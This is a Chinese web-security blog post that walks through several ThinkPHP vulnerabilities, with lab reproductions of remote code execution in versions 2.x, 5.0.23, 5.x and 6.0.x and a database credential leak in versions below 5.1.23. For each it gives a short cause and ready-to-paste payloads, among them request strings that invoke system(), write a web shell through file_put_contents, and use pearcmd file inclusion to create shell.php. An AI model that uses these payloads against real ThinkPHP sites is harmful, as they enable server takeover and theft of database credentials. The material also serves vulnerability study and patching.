点我

ThinkPHP

关于think PHP

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。

最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。

ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySqlPgSQLSqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。

目录结构

image-20221222143844029

ThinkPHP 2.x 任意代码执行漏洞

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由

路由规则:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
靶场环境

image-20221222105922279

构造正则表达式

s=/index/index/name/$%7B@phpinfo()%7D

image-20221222110001681

ThinkPHP 5.0.23 远程代码执行漏洞

漏洞原因

在版本5.0(<5.0.24)中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞

漏洞复现
漏洞位置:http://192.168.84.174:8080/index.php?s=captcha
payload:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=系统命令

image-20221222111303531

注意:需要将GET请求方式修改为POST

ThinkPHP-5-rce

漏洞原因

其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞

漏洞复现

payload:

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

image-20221222112934559

命令执行payload

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

image-20221222113022555

写shell的payload

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

Thinkphp < 5.1.23 设计缺陷导致泄漏数据库账户密码

漏洞原因

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。

ThinkPHP5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

影响版本:ThinkPHP < 5.1.23

漏洞复现

image-20221222113842579

payload

/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

数据库用户名和密码被爆出

image-20221222113947590

ThinkPHP 多语言 RCE

漏洞原因

在其6.0.13版本及以前,存在一处本地文件包含漏洞。

当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件。

首先,ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含/public/index.php文件来确认文件包含漏洞是否存在;如果漏洞存在,则服务器会出错,返回500页面。

虽然只能包含本地PHP文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/local/lib/php/pearcmd.php并写入任意文件

重点:如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含 trick 即可实现 RCE

影响版本:Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

参考连接:https://tttang.com/archive/1865/

漏洞复现

payload

?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php

image-20221222121535474

访问shell.php文件

image-20221222121622662

分类: WEB安全

评论

-- 评论已关闭 --

目录